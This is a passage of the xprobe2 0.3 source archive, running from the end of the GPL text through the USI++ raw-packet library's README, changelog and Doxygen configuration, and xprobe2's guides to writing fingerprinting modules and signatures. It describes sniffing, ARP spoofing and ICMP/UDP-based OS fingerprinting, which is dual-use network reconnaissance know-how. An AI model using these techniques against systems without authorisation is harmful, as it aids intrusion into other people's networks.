SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS Appendix: How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) 19yy This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. xprobe2-0.3/libs-external/USI++/CREDITS000755 001751 000000 00000000112 10271643767 017554 0ustar00mederwheel000000 000000 Smiler for sending code, creed, tocotronic, bush and nirvana for music. xprobe2-0.3/libs-external/USI++/Doxyfile000755 001751 000000 00000032361 10271643767 020255 0ustar00mederwheel000000 000000 # Doxyfile 0.49-990405 # This file describes the settings to be used by doxygen for a project # # All text after a hash (#) is considered a comment and will be ignored # The format is: # TAG = value [value, ...] # Values that contain spaces should be placed between quotes (" ") #--------------------------------------------------------------------------- # General configuration options #--------------------------------------------------------------------------- # The PROJECT_NAME tag is a single word (or a sequence of word surrounded # by quotes) that should identify the project. PROJECT_NAME = libusi++ # The PROJECT_NUMBER tag can be used to enter a project or revision number. # This could be handy for archiving the generated documentation or # if some version control system is used. PROJECT_NUMBER = "Version 2.00 -- Linux/*BSD" # The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) # base path where the generated documentation will be put. # If a relative path is entered, it will be relative to the location # where doxygen was started. If left blank the current directory will be used. OUTPUT_DIRECTORY = doc # The OUTPUT_LANGUAGE tag is used to specify the language in which all # documentation generated by doxygen is written. Doxygen will use this # information to generate all constant output in the proper language. # The default language is English, other supported languages are: Dutch OUTPUT_LANGUAGE = English # The QUIET tag can be used to turn on/off the messages that are generated # by doxygen. Possible values are YES and NO. If left blank NO is used. QUIET = NO # The WARNINGS tag can be used to turn on/off the warning messages that are # generated by doxygen. Possible values are YES and NO. If left blank # NO is used. WARNINGS = YES # The DISABLE_INDEX tag can be used to turn on/off the condensed index at # top of each page. A value of NO (the default) enables the index and the # value YES disables it. DISABLE_INDEX = NO # If the EXTRACT_ALL tag is set to YES all classes and functions will be # included in the documentation, even if no documentation was available. EXTRACT_ALL = NO # If the EXTRACT_PRIVATE tag is set to YES all private members of a class # will be included in the documentation. EXTRACT_PRIVATE = NO # If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all # undocumented members inside documented classes or files. HIDE_UNDOC_MEMBERS = NO # If the HIDE_UNDOC_CLASSESS tag is set to YES, Doxygen will hide all # undocumented classes. HIDE_UNDOC_CLASSES = NO # If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will # include brief member descriptions after the members that are listed in # the file and class documentation (similar to JavaDoc). # Set to NO to disable this. BRIEF_MEMBER_DESC = YES # The INTERNAL_DOCS tag determines if documentation # that is typed after a \internal command is included. If the tag is set # to NO (the default) then the documentation will be excluded. # Set it to YES to include the internal documentation. INTERNAL_DOCS = NO # If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend # the brief description of a member or function before the detailed description. # Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the # brief descriptions will be completely suppressed. REPEAT_BRIEF = YES # If the FULL_PATH_NAMES tag is set to YES Doxygen will prepend the full # path before files name in the file list and in the header files. If set # to NO the shortest path that makes the file name unique will be used. FULL_PATH_NAMES = NO # If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag # can be used to strip a user defined part of the path. Stripping is # only done if the specified string matches the left-hand part of the path. STRIP_FROM_PATH = # If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will # generate a class diagram (in Html and LaTeX) for classes with base or # super classes. Setting the tag to NO turns the diagrams off. CLASS_DIAGRAMS = YES # If the CASE_SENSE_NAMES tag is set to NO (the default) then Doxygen # will only generate file names in lower case letters. If set to # YES upper case letters are also allowed. This is useful if you have # classes or files whose names only differ in case and if your file system # supports case sensitive file names. CASE_SENSE_NAMES = NO # If the VERBATIM_HEADERS tag is set the YES (the default) then Doxygen # will generate a verbatim copy of the header file for each class for # which an include is specified. Set to NO to disable this. VERBATIM_HEADERS = YES #--------------------------------------------------------------------------- # configuration options related to the input files #--------------------------------------------------------------------------- # The INPUT tag can be used to specify the files and/or directories that contain # documented source files. You may enter file names like "myfile.cpp" or # directories like "/usr/src/myproject". Separate the files or directories # with spaces. INPUT = src usi++ # If the value of the INPUT tag contains directories, you can use the # FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp # and *.h) to filter out the source-files in the directories. If left # blank all files are included. FILE_PATTERNS = *.h # The RECURSIVE tag can be used to turn specify whether or not subdirectories # should be searched for input files as well. Possible values are YES and NO. # If left blank NO is used. RECURSIVE = NO # The EXCLUDE tag can be used to specify files and/or directories that should # excluded from the INPUT source files. This way you can easily exclude a # subdirectory from a directory tree whose root is specified with the INPUT tag. EXCLUDE = src/config.h usi++/usi-structs.h usi++/if.h # If the value of the INPUT tag contains directories, you can use the # EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude # certain files from those directories. EXCLUDE_PATTERNS = # The EXAMPLE_PATH tag can be used to specify one or more files or # directories that contain example code fragments that are included (see # the \include command). EXAMPLE_PATH = samples/arpw.cc samples/tcp_sniff.cc samples/icmp_sniff.cc samples/trace.cc # The INPUT_FILTER tag can be used to specify a program that doxygen should # invoke to filter for each input file. Doxygen will invoke the filter program # by executing (via popen()) the command , where # is the value of the INPUT_FILTER tag, and is the name of an # input file. Doxygen will then use the output that the filter program writes # to standard output. INPUT_FILTER = #--------------------------------------------------------------------------- # configuration options related to the HTML output #--------------------------------------------------------------------------- # If the GENERATE_HTML tag is set to YES (the default) Doxygen will # generate HTML output GENERATE_HTML = YES # The HTML_OUTPUT tag is used to specify where the HTML docs will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `html' will be used as the default path. HTML_OUTPUT = # The HTML_HEADER tag can be used to specify a personal HTML header for # each generated HTML page. If it is left blank doxygen will generate a # standard header. HTML_HEADER = # The HTML_FOOTER tag can be used to specify a personal HTML footer for # each generated HTML page. If it is left blank doxygen will generate a # standard footer. HTML_FOOTER = #--------------------------------------------------------------------------- # configuration options related to the LaTeX output #--------------------------------------------------------------------------- # If the GENERATE_LATEX tag is set to YES (the default) Doxygen will # generate Latex output. GENERATE_LATEX = NO # The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `latex' will be used as the default path. LATEX_OUTPUT = # If the COMPACT_LATEX tag is set to YES Doxygen generates more compact # LaTeX documents. This may be useful for small projects and may help to # save some trees in general. COMPACT_LATEX = NO # The PAPER_TYPE tag can be used to set the paper type that is used # by the printer. Possible values are: a4, a4wide, letter, legal and # executive. If left blank a4wide will be used. PAPER_TYPE = a4wide # The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX # packages that should be included in the LaTeX output. EXTRA_PACKAGES = #--------------------------------------------------------------------------- # configuration options related to the man page output #--------------------------------------------------------------------------- # If the GENERATE_MAN tag is set to YES (the default) Doxygen will # generate man pages GENERATE_MAN = NO # The MAN_OUTPUT tag is used to specify where the man pages will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `man' will be used as the default path. MAN_OUTPUT = #--------------------------------------------------------------------------- # Configuration options related to the preprocessor #--------------------------------------------------------------------------- # If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will # evaluate all C-preprocessor directives found in the sources and include # files. ENABLE_PREPROCESSING = YES # If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro # names in the source code. If set to NO (the default) only conditional # compilation will be performed. MACRO_EXPANSION = NO # If the SEARCH_INCLUDES tag is set to YES (the default) the includes files # in the INCLUDE_PATH (see below) will be search if a #include is found. SEARCH_INCLUDES = YES # The INCLUDE_PATH tag can be used to specify one or more directories that # contain include files that are not input files but should be processed by # the preprocessor. INCLUDE_PATH = # The PREDEFINED tag can be used to specify one or more macro names that # are defined before the preprocessor is started (similar to the -D option of # gcc). The argument of the tag is a list of macros of the form: name # or name=definition (no spaces). If the definition and the = are # omitted =1 is assumed. PREDEFINED = # If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES # then the macro expansion is limited to the macros specified with the # PREDEFINED tag. EXPAND_ONLY_PREDEF = NO #--------------------------------------------------------------------------- # Configuration options related to external references #--------------------------------------------------------------------------- # The TAGFILES tag can be used to specify one or more tagfiles. TAGFILES = # When a file name is specified after GENERATE_TAGFILE, doxygen will create # a tag file that is based on the input files it reads. GENERATE_TAGFILE = # If the ALLEXTERNALS tag is set to YES all external classes will be listed # in the class index. If set to NO only the inherited external classes # will be listed. ALLEXTERNALS = NO # The PERL_PATH should be the absolute path and name of the perl script # interpreter (i.e. the result of `which perl'). PERL_PATH = /usr/bin/perl #--------------------------------------------------------------------------- # Configuration options related to the search engine #--------------------------------------------------------------------------- # The SEARCHENGINE tag specifies whether or not a search engine should be # used. If set to NO the values of all tags below this one will be ignored. SEARCHENGINE = NO # The CGI_NAME tag should be the name of the CGI script that # starts the search engine (doxysearch) with the correct parameters. # A script with this name will be generated by doxygen. CGI_NAME = search.cgi # The CGI_URL tag should be the absolute URL to the directory where the # cgi binaries are located. See the documentation of your http daemon for # details. CGI_URL = # The DOC_URL tag should be the absolute URL to the directory where the # documentation is located. If left blank the absolute path to the # documentation, with file:// prepended to it, will be used. DOC_URL = # The DOC_ABSPATH tag should be the absolute path to the directory where the # documentation is located. If left blank the directory on the local machine # will be used. DOC_ABSPATH = # The BIN_ABSPATH tag must point to the directory where the doxysearch binary # is installed. BIN_ABSPATH = /usr/local/bin/ # The EXT_DOC_PATHS tag can be used to specify one or more paths to # documentation generated for other projects. This allows doxysearch to search # the documentation for these projects as well. EXT_DOC_PATHS = xprobe2-0.3/libs-external/USI++/PLATFORMS000755 001751 000000 00000000541 10271643767 020034 0ustar00mederwheel000000 000000 Meanwhile, libUSI++ runs on a lot of OS's with even different hw-architecture. Note that FreeBSD is only available on x86 and alpha. '?' means that i couldn't test it on these platforms yet. x86 sparc PPC Alpha OpenBSD Y Y ? ? FreeBSD Y - - Y NetBSD Y Y ? ? Linux Y ? Y Y xprobe2-0.3/libs-external/USI++/README000755 001751 000000 00000010056 10271643767 017424 0ustar00mederwheel000000 000000 USI++ README ============ 0. About -------- USI++ is a product developed by Sebastian Krahmer, krahmer@cs.uni-potsdam.de It is a low-level network-library for sending/receiving IP-packets directly on so called 'raw sockets'. It can be used for network-monitoring also. Since version 1.2 it uses the packet capture library libpcap that is a portable library for fetching network-traffic on the datalink-layer. To get the lattest libpcap with full linux-features, you should visit http://www.tcpdump.org I strongly suggest to use latest pcap version from tcpdump.org since some distributors ship broken/old versions of it. To get full capturing support, strong libpcap is needed. NOTE that my pcap-stuff (LSF and "any" patch) will be available in future on tcpdump.org than on my personal site. USI++ in lattest version is always available on http://www.cs.uni-potsdam.de/homepages/students/linuxer 1. License ---------- USI++ comes under the GPL. See file COPYING for more details. * This product includes software developed by the Computer Systems * Engineering Group at Lawrence Berkeley Laboratory. (libpcap) Also a data-file for ethernet-MAC's is included. It was taken from arpwatch. Since USI++ is GPL there is ABSOLUTELY NO WARRANTY. YOU USE IT AT YOUR OWN RISK. Some exapmles that are shipped with this library may look strange to you. All the code was written FOR EDUCATIONAL PURPOSES ONLY! This includes the so called 'sniffers', 'spoofers' and so on. NOTE that it is maybe illegal in your country to use such programs. So only use it on/against your own computers without other involved persons! 2. Install ---------- # configure # make # make install Please report any problems regarding the installation-procedure to krahmer@cs.uni-potsdam.de. 3. Compiling the examples ------------------------- # c++ foo.cc -lusi++ -lpcap 4. Function-description ----------------------- Please look at the HTML-documentation of libusi++. 5. Supported Platforms ---------------------- See PLATFORMS file. To make USI++ work properly on new Linux 2.4 kernels, make sure you disable 'connection tracking' in kernel. At best you compile connection tracking (if you need it for NAT) as modules and remove them when playing with USI++. This is because connection tracking forbids to send arbitrary TCP packets which don't belong to any connection. 6. BUGS/TODO ------------ The TCP-options are alpha-state. I need to play around with different (little/big-endian) systems to figure out complete behaivior. On FreeBSD 3.1 you need to install this or a newer version b/c the default C++ compiler doesn't support namespaces. The STL-headerfiles shipped with redhat 6.x and freeBSD 3.3 are broken (g++3). If you get compiler-errors when compiling ip.cc that tell you that there is a mess with stl_alloc.h, you can copy the fixed stl_alloc.h (directory fix) to the specified dir. 7. Background for Layer 2 ------------------------- The linklevel handling has changed. Now all classes are derived from Layer2 {} which contains a RX and a TX object which are used for receiving and transmitting data. The class-declarations can be found in the coresponding .h files. These classes are abstract, this means you must derive your own to get it working. Look at the .h files which functions you must implemet. USI++ ships with two classes Pcap {} and TX_IP {} which let you capture/send packets. They give you basic functionality so that you can use programs that work with USI++ 1.67 or lower as normal. By making RX {} and TX {} abstract we make sure that Layer2 {} can access routines such as sendpack(). You are free to write your own RX/TX based classes for different hardware (FDDI,...). You can change RX/TX behaivior at runtime, so it is as flexible as possible. For example you could detect that you are working with PPP and then you load PPP transimitter. Have fun. Papers, books,... ----------------- [1] RFC 793, 791, 792, 826 [2] http://www.packetfactory.net [3] UNIX Network Programming, W. R. Stevens, Prentice Hall 1998 [4] http://teso.scene.at [5] include/netinet/*.h [6] include/net/*.h xprobe2-0.3/libs-external/USI++/TODO000755 001751 000000 00000000536 10271643770 017230 0ustar00mederwheel000000 000000 bugs: - close(socket) in ~TX_IP - laenmge in IP berechnen (pcap reurned bei packeten <60bytes den rest des ether-frames mit, weil minimumlaenge des EII frames ist 64 byte mit crc). * complete ICMP-class? * IP-Options * Sparc-linux tests * Slowaris port * timeout in defrag-routine -> do we need defrag anyway? * proper timeout handling in sendpack xprobe2-0.3/libs-external/USI++/banner000755 001751 000000 00000001100 10271643770 017714 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by S. Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. If not, *** you can get it at http://www.cs.uni-potsdam.de/homepages/students/linuxer *** the logit-package. You will also find some other nice utillities there. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I'M NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ xprobe2-0.3/libs-external/USI++/VERSION000755 001751 000000 00000000013 10271643770 017576 0ustar00mederwheel000000 000000 1.92 xprobe2-0.3/libs-external/USI++/CHANGES000755 001751 000000 00000005507 10271643770 017536 0ustar00mederwheel000000 000000 1.93 ---- * bugfix in TCP: now the correct length of received segment is returned when processed TCP-options -- TCP options doesnt count as data and therefore TCP::sniffpack() returns only lenght of data contained, not including TCP headder or options * bugfix: in_cksum() now correctly distinguishs between IP,ICMP and UDP,TCP checksums (TCP+UDP may be padded in odd case, ICMP not) 1.92 ---- * Added timeout() functions * Added broadcast capability * Added experminetal get_{tcp,ip,udp}hdr * Added INADDR_ANY as src-IP when gethostname() fails this is OK for IP and ICMP packets but breaks with UDP/TCP b/c of its chksum calculated over pseudo-hdr because src-IP is involved. * Added Pcap::pcap() for more flexibility * Began to change naming policy for internal data. Does not affect exported symbols. 1.90 ---- * introduced Layer2/RX/TX concept 1.68 ---- * small fixes for UDP checksum 1.67 Alpha ---------- * NetBSD compilationtests * Added sending Datalink for Linux * ARP-spoofing possible now * copy-constructor for Datalink, IP, ICMP, UDP and TCP * removed pcap-headers * all methods which requiere a length-field, have this filed of type size_t * migration to CVS 1.66 ---- * Big Endian TCP-options bugfix * changed set_totlen() behaivior. It's not yet possible to modify totlen field in IP-header * Much stronger TCP-options code now 1.65 ---- * IP/TCP-options bugfix 1.64 ---- * OpenBSD port * added TCP-options: EOL, NOP, timestamp, mss and wscale (alpha!) * internal cleanups * set_hlen() and get_hlen from IP-class now set/return the number of 32-Bit words. So when you earlier did ip->get_hlen() and got 20 you will now get 5. * separated the classes * put all classes into namespace usipp. 1.63 ---- * ARP-class bugfix * Datalink {} now can be used to sniff on the datalink directly. (you are able to set a filter in the constructor now) * Bugfix for hostbyteordered tot_len and frag_off for BSD. * added USI_VERSION #define so you can obtain version of libUSI++ 1.62 ---- * WoW! Defragmentation is done now! * lots of internal cleanups * hwaddr-fix 1.60 ---- * new class Datalink {} added * icmpId - bugfix * set/getMAC functions added (experimental!) * ARP class added * libusi++ is faster now * fixed some memory-leaks * new syntax for IP::get_src/IP::get_dst * full PPP-support 1.50 ---- * added PPP-handling (works fine with 2 connected PC's via nullmodemcable, indeed it has datalink of DLT_RAW :-) * tcp_sniff is now able to record logins that come from X-terminals * much better HTML-docu * better/more flexible error-handling xprobe2-0.3/docs000755 001751 000000 00000000000 10271644025 014035 5ustar00mederwheel000000 000000 xprobe2-0.3/docs/modules_howto.txt000644 001751 000000 00000015772 10271643770 017567 0ustar00mederwheel000000 000000 $Id: modules_howto.txt,v 1.3 2005/06/26 11:23:20 mederchik Exp $ This document describes how to add your own module to xprobe Xprobe2 Modules Howto --------------------- To write a module for xprobe2, do following: create a class which will inherit Xprobe_module: #include "xprobe.h" #include "xprobe_module.h" #include "xprobe_module_hdlr.h" #include "target.h" #include "interface.h" #define _XPROBE_MODULE #include "xplib.h" class Your_Module: public Xprobe_Module { private: void generate_signature(Target *, ICMP *, ICMP *) /* or void generate_signature(Target *, TCP *, TCP *) */ public: Test_Mod(void) : Xprobe_Module(XPROBE_MODULE_ALIVETEST, "YOUR_MODULE NAME") { /*your constructor*/ } /* or just Test_Mod(void) : Xprobe_Module("YOUR_MODULE NAME") { your constructor } */ ~Test_Mod(void) { return; } int init(void); int parse_keyword(int os_id, char *keyword, char *value); int exec(Target *tg, OS_Matrix *os); int fini(void); }; the first argument in constructor signifies type of function which your module is going to perform. "ALIVETESTS" are modules which testify remote system reachability. "OSTESTS" - modules which do actual fingerprinting. and create following function: int your_module_init(Xprobe_Module_Hdlr *pt) { int mod_id; Your_Module *mod = new Your_Module; xprobe_mdebug(XPROBE_DEBUG_MODULES, "Initializing the YOUR_MODULE module\n"); pt->register_module(mod); /* keywords which you will be parsing in parse_keyword routine */ pt->add_keyword(mod->get_id(), "keyword1"); pt->add_keyword(mod->get_id(), "keyword2"); pt->add_keyword(mod->get_id(), "keyword3"); return OK; } Following methods of class you will have to write yourself: init() ------ init() -- prepare all the data, sockets whatever you will need to use. parse_keywords() ---------------- parse_keywords(int os_id, char *keyword, char *value); we will call it if we see keywords which you registered for your module, appearing for OS fingerprint with id OS_ID. You will suppose to parse the keyword and store the result in internal format (whichever you wish to choose) which will represent OS-id, your test results according to the keyword, you parsed for this OS, and score, which ranks how the given 'fingerprint' matches the signature if the test results match. Possible variants for the score are: XPROBE_MATCH_YES, XPROBE_MATCH_NO, XPROBE_MATCH_PROBABLY_YES, XPROBE_MATCH_PROBABLY_NO exec() ------ exec(Target *tg, OS_Matrix *os)-- you perform your tests against the target here, and then submit us results, how much each OSid, which you saw/parsed signature for, matches the target which you examined. use follwing function to do that: OS_Matrix->add_result(this->get_id(), int OS_id,int score); All the information regarding target system you obtain through a class 'Target' (see target.h for details), more over the communications with the core system you perform through target methods as well. You should be able to get all the data you need, if missing something, let me know. Here are the most useful functions: tg->get_addr() -- returns in_addr struct of target tg->get_interface() -- returns char ptr to interface name tg->get_inetface_addr() - returns address of the interface through which you connect to the target. tg->get_port(IPPROTO_TCP, XPROBE_TARGETP_OPEN) (or CLOSED, or FILTERED) -- will give you a port number (or -1 if unknown) which you asked for. you can also use tg->add_port() to set port status, if you found it during the test. tg->get_distance() and tg->set_distance() will return or set (for use of other modules) ttl distance to the target system. tg->get_ttl(type) - returns ttl for particular type of packet (if known). See target.h for pre-defined types (tcp syn+ack, tcp rst, etc) tg->set_ttl(type, ttl) - sets ttl for particular type of packet. *Note: for reachability tests modules, OS_id, should always be 1. As we don't have signatures to be parsed. parse_keywords() routine should be dummy and you don't have to register any particular keywords unless you expect parameters from config file. **Note: If your module has keywords that would only have meaning if one of the keywords is set to specific value, as in following example: icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 'icmp_addrmask_reply_ttl' and 'icmp_addrmask_reply_ip_id' depend on the value of 'icmp_addrmask_reply'. So if accoring to the fingerprint the should be no reply from the target, module has to generate two additional matches using: OS_Matrix::add_result() in order for target to get 100% match fini() ------ deallocate all the memory which you allocated here. Close all the sockets. Clean up everything. Destructor for your module will be called right after. You don't have to delete your module object instance itself, which you allocated in init function, we will do that for you. generate_signature() -------------------- private method that will generate signature for the given target, in your exec() method, you need to check bool Target->generate_sig(), if method returns true then you need to generate signature (i.e. call generate_signature() method, where using one of following Target methods: void signature(string& key, string& val); void signature(const char *, const char *); you add keyword-value pairs to the Target object). User Interface -------------- Currently only command line/text interface is implemented. However for further compatibility we have Interface() class which has particular methods to output the data. We insist on using these in your code. Later other interfaces might be developed (or you could develop these yourself) this will save the hassle of porting your module to every new interface. Declare following: extern Interface *ui; use our user interface routines to generate output: xprobe_debug(XPROBE_DEBUG_MODULES, "fmt string: %s", arg); to print debug messages. xprobe_mdebug(XPROBE_DEBUG_MODULES, "something"); to print single string debug messages. ui->msg("message: %s", args); to print messages (prefix them with [x] [module]) ui->log("something"); to log data ui->error("...", blah); to report errors.. ui->perror("something"); use instead of perror(); ui->verbose(verbosity_level, "msg",..) -- (controlled with -v option, 1,2,3 .. are possible levels) Compilation ----------- to include the module into our source you have to do following: 1) add your init function ot xpmodules/static_modules.h like this: ... typedef int(* xprobe_module_init_t)(Xprobe_Module_Hdlr *); xprobe_module_init_t mod_init_funcs[]= { test_mod_init, your_module_init, NULL}; 2) place your module into: alive_probe directory (create subdirectory if you care, there). Create Makefile.in to compile your modules and edit xpmodules/Makefile.in to link your objects to modules.a library file. You can create your own archive of objects with ar, just don't run runlib on it and let us add your achive to ours. 3) test that everything builds properly. Send me complains if it doesn't ;-) xprobe2-0.3/docs/new-fingerprints-howto.txt000644 001751 000000 00000025415 10271643770 021331 0ustar00mederwheel000000 000000 $Id: new-fingerprints-howto.txt,v 1.5 2005/06/26 11:23:20 mederchik Exp $ New Fingerprints How To: xprobe2.conf contributions guide Ofir Arkin (ofir@sys-security.com) Fyodor Yarochkin (fygrave@tigerteam.net) Last modified: 26 June 2005 ----------------------------------------------------------------------- *NOTE: Xprobe2 now has '-F' command line switch which frees you from the need to run tcpdump and analyze traffic, '-F' will generate a complete fingerprint for you. Please refer to the manual page for details. ----------------------------------------------------------------------- Introduction Xprobe2 stores its fingerprinting database in a file called "xprobe2.conf". The file can be found under the "etc" directory with the supplied code. When a 'make install' is executed the file will be copied to '$prefix/etc/xprobe2/'. When attempting to execute the program, the program will search for the configuration file in the '$prefix/etc' directory. You can specify the location of the file using the '-c' option. This How-To provides information on how to add your own signatures into the signature database, i.e. the 'xprobe2.conf' file. You may choose to share your signatures with the public, either by publishing them yourself or by submitting your signatures to us to be included with the distribution's 'xprobe2.conf' file. The How-To also provides information on how to produce the appropriate tests allowing one to add his own fingerprints information. How to produce the fingerprinting tests ======================================= The easiest way to produce the tests requiered, is to execute Xprobe2 against a machine running a certain operating system, a networking device, a game consule etc. The target should not be filtered, either by a local firewall or by a centrlized firewall, or tunnable parametrs used to obscure its way of operation. Using tcpdump, one should have all the information it needs to add the particular signature of an operating system, a networking device, etc. to be supported with Xprobe2. It is advised to use the following tcpdump command: tcpdump -xnvv -s 1600 host Use the -d 8 switch (see 'src/defines.h' for more information on debugging) to "debug" newly-added signatures. Syntax ====== fingerprint { OS_ID = "your operating system ID string" # your comments module_keyword = value } You can omit some keywords from your fingerprint entry. Although it will not affect the operational aspect of the program, it will affect the final probability guessing, that could not be 100%. One can add his own Keywords to the signatures. For those new keywords to make affect, they need to be defined with the appropriate module which will use them. The Signature Database How-To ============================= The signature database contains a demo entry, which this text explains. fingerprint { This is a change control entry: OS_ID = "My OS" #Entry inserted to the database by: Moderator's name (email) #Entry contributed by: Contributer's name (email) #Date: Date entered into database #Modified: Date Modified You should provide the OS name under "My OS". This is the name which will be printed by the program when appropriate match/guess will be produced. You can also provide some other cosmetic information such as the date you entered the entry, the date this entry was modified, or any other information you like, providing that a hash sign ('#') will start the line. Module A (Xprobe modules number 3) The first fingerprinting test to be produced. This fingerprinting test entry looks for a number of parameters within an ICMP Echo reply sent in response to an ICMP Echo request probe the program produced. The test will look for several parameters within an ICMP echo reply sent in response to our ICMP echo query: - The IP Header's Identification number (icmp_echo_ip_id) can be assigned the following parameters: zero (0), another value (!0), or the same value as the IP ID value in the ICMP Echo request the reply answering (SENT). - The IP Header's type-of-service bits (icmp_echo_tos_bits), either set to zero (0) or to another value (!0). - The IP Header's Don't Fragment bit (icmp_echo_df_bit), either set (1) or not (0). - The IP Header's Time-To-Live field value (icmp_echo_reply_ttl). This value should be set to what was initialy the value used on the sending host. A little bit of guessing is needed, but it is more trivial than you might think. The usual default values are 16, 32, 64 128 and 255. So if you receive with your reply the value of 114 as the IP header's time-to-live value, it was probably set to 128 initialy. - The ICMP code (icmp_echo_code), either set to zero (0), or to another value (!0). #Module A [ICMP ECHO Probe] icmp_echo_code = [ 0, !0] icmp_echo_ip_id = [ 0, !0 , SENT] icmp_echo_tos_bits = [ 0, !0 ] icmp_echo_df_bit = [0, 1] icmp_echo_reply_ttl = [>< decimal num] Modules B, C, D (Xprobe modules number 4,5,6) These modules are yes/no modules which test if we receive, or not, an ICMP timestamp reply, ICMP address mask reply, and ICMP information reply. The other parameter which is configurable is the IP time-to-live header field value received with the reply. March 20, 2003: A new parameter has been added which is checked with each of the Yes/No tests - the IP ID value of the particular ICMP query reply. The optional values are: zero (0), another value other than zero (!0), or the same value as the IP ID value set in the ICMP Echo request the reply is answering (SENT). #Module B [ICMP Timestamp request probe] icmp_timestamp_reply = [y, n] icmp_timestamp_reply_ttl = [>< decimal num] icmp_timestamp_reply_ip_id = [ 0, !0, SENT] #Module C [ICMP Address Mask request probe] icmp_addrmask_reply = [ y, n] icmp_addrmask_reply_ttl = [>< decimal num] icmp_addrmask_reply_ip_id = [ 0, !0 , SENT] #Module D [ICMP Information request probe] icmp_info_reply = [ y, n] icmp_info_reply_ttl = [>< decimal num] icmp_info_reply_ip_id = [ 0, !0, SENT] Even if the system you are fingerprinting do not answer for one of the tests, you should make an effort to complete all entries available, if possible. Although your system might not produce the particular reply out-of-the-box, it might have a tunable kernel parameter, that if changed will cause the system to answer the particular test. Therefore you should fill in the icmp_xxx_reply_ttl with the appropriate value (it will be the same TTL as with any ICMP query replies the system you are fingerprinting is producing) and the icmp_xxx_reply_ip_id value. Module E (Xprobe modules number 7) Module E examines an ICMP Port Unreachable error message sent in response to a UDP datagram sent to a closed UDP port on the target machine. The first part of the entry deals with information from the IP Header of the ICMP Port Unreachable error message. #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_dtsize = [8, 64, >64] - The size of the echoed data from the offending packet. This is the information past the echoed IP header... Can be set to 8, 64 or more than 64 (>64) icmp_unreach_reply_ttl = [>< decimal num] - The IP Header's Time-to-Live field value (see Module A for more information). icmp_unreach_precedence_bits = 0xc0, 0, (hex num) - The IP Header's precedence bits value. Can be set to 0xc0 hex, zero (0), or any other 'hex' value. icmp_unreach_df_bit = [0 , 1 ] - The IP Header's Don't Fragment Bit. Either set (1) or not (0). icmp_unreach_ip_id = [ 0, !0, SENT] - The IP Header's Identification number (icmp_echo_ip_id) can be assigned the following parameters: zero (0), another value other than zero (!0), or the same value as the IP ID value in the ICMP Echo request the reply answering (SENT). The second part of the entry deals with informatation from the OFFENDING packet's original data ECHOED by the error message. #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = [0, OK, BAD] - The echoed UDP checksum value. It might be set to zero (0), it might be a mis-calculated value (BAD), or the appropriate value (OK). icmp_unreach_echoed_ip_cksum = [0, OK, BAD] - The echoed IP Header's checksum. It might be set to zero (0), it might be a be a mis-calculated value (BAD), or the appropriate value (OK). icmp_unreach_echoed_ip_id = [OK, FLIPPED] - The IP Header's echoed Don't Fragment bit. It might be echoed fine (OK), or in some cases its bits will be flipped (FLIPPED). icmp_unreach_echoed_total_len = [<20, OK, >20] - The IP Header's echoed total 